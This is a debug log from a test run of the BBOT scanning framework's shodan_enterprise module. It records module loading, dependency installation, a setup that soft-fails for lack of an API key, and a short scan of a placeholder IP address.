[DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 18:44:24,531 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 18:44:24,531 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 18:44:24,532 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 18:44:24,532 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 18:44:24,533 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 18:44:24,533 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 18:44:24,534 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 18:44:24,535 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 18:44:24,536 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 18:44:24,536 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 18:44:24,537 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 18:44:24,538 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 18:44:24,538 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 18:44:24,539 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 18:44:24,539 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 18:44:24,540 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 18:44:24,540 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 18:44:24,541 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 18:44:24,542 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 18:44:24,542 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 18:44:24,543 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 18:44:24,544 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 18:44:24,544 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:44:24,544 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 18:44:24,546 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:44:24,546 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 18:44:24,547 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 18:44:24,548 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 18:44:24,548 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 18:44:24,549 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 18:44:24,550 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 18:44:24,551 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 18:44:24,552 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 18:44:24,552 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 18:44:24,553 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 18:44:24,554 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 18:44:24,554 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 18:44:24,555 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 18:44:24,556 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 18:44:24,556 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 18:44:24,557 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 18:44:24,558 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 18:44:24,558 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 18:44:24,560 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 18:44:24,560 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 18:44:24,561 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 18:44:24,562 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:44:24,563 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:44:24,564 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:44:24,564 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:44:24,565 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:44:24,565 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:44:24,566 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:44:24,567 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:44:24,568 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:44:24,571 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:44:24,571 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:44:24,572 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:44:24,573 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:44:24,574 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:44:24,575 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:44:24,576 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:44:24,577 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:44:24,578 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 18:44:24,578 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:44:24,579 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 18:44:24,579 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 18:44:25,667 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:44:25,667 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:44:25,668 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:44:25,805 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:44:26,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:44:26,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:44:26,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:44:26,430 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:44:26,637 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:44:26,638 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:44:26,747 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:44:26,748 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 18:44:26,803 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 18:44:26,805 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 18:44:26,805 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 18:44:27,243 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 18:44:27,244 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 18:44:30,646 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 18:44:30,646 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 18:44:30,647 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 18:44:32,422 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 18:44:32,423 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 18:44:32,428 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:44:32,428 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 18:44:32,429 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:44:32,429 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 18:44:32,429 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 18:44:32,430 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 18:44:32,434 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/s1n97mjvxd00j6kkik2i -2026-02-27 18:44:33,207 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 18:44:33,207 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 18:44:33,208 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:44:33,209 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 18:44:33,209 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:44:33,209 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 18:44:33,210 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 18:44:33,329 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 18:44:33,329 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 18:44:33,329 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 18:44:33,331 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 18:44:33,331 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 18:44:33,331 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 18:44:33,331 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 18:44:33,332 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 18:44:33,332 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 18:44:33,333 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 18:44:33,333 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 18:44:33,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 18:44:33,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 18:44:33,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 18:44:33,334 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 18:44:33,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 18:44:33,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 18:44:33,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 18:44:33,335 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 18:44:33,335 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 18:44:33,336 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 18:44:33,336 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 18:44:33,336 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 18:44:33,336 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 18:44:33,337 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 18:44:33,337 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 18:44:33,337 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 18:44:33,337 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 18:44:33,337 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 18:44:33,337 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 18:44:33,338 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 18:44:33,338 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 18:44:33,338 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 18:44:33,338 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 18:44:33,338 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 18:44:33,338 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 18:44:33,339 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 18:44:33,339 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 18:44:33,339 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 18:44:33,339 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified -2026-02-27 18:44:33,339 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 18:44:33,340 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 18:44:33,340 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. -2026-02-27 18:44:33,340 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 18:44:33,340 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 18:44:33,479 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_7lg1uhnzp5 -2026-02-27 18:44:33,479 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 18:44:33,589 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started -2026-02-27 18:44:33,590 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 18:44:33,590 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 18:44:33,591 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-02-27 18:44:33,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:44:33,695 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:44:33,696 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:44:33,697 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-02-27 18:44:33,697 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-02-27 18:44:33,698 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 18:44:33,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:44:33,700 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-02-27 18:44:33,701 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:44:33,702 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:44:33,702 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:44:33,703 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 18:44:33,703 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:44:33,704 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:44:33,705 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 18:44:33,710 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:44:33,711 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 18:44:33,711 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:44:33,712 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:44:33,713 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-02-27 18:44:33,792 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 18:44:33,793 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:44:33,794 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-02-27 18:44:33,795 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 18:44:33,796 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 18:44:33,796 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 18:44:33,797 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 18:44:33,797 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 18:44:33,798 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 18:44:33,798 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 18:44:33,899 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 18:44:33,900 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 18:44:33,919 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 18:44:33,919 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 18:44:33,920 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks -2026-02-27 18:44:33,926 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks -2026-02-27 18:44:33,927 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 18:44:33,928 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 18:44:33,929 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 18:44:33,929 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:44:33,930 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:44:34,054 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_7lg1uhnzp5 completed in 0 seconds with status FINISHED -2026-02-27 18:44:34,061 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 18:44:34,063 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:44:34,065 [CRITICAL] bbot test_module_shodan_enterprise.py:13 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:44:34,066 [CRITICAL] bbot test_module_shodan_enterprise.py:13 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:44:34,067 [CRITICAL] bbot test_module_shodan_enterprise.py:13 SCAN("{'id': 'SCAN:155a6cf2b33ed7a6df3815ca9ce58afee371fe76', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:44:34,068 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 18:44:34,068 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 18:45:28,815 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:45:28,825 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 18:45:28,826 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 18:45:28,827 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 18:45:28,828 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 18:45:28,829 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 18:45:28,829 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 18:45:28,830 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 18:45:28,831 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 18:45:28,832 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 18:45:28,833 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 18:45:28,834 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 18:45:28,834 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 18:45:28,835 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 18:45:28,836 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 18:45:28,837 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 18:45:28,838 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 18:45:28,839 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 18:45:28,839 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from 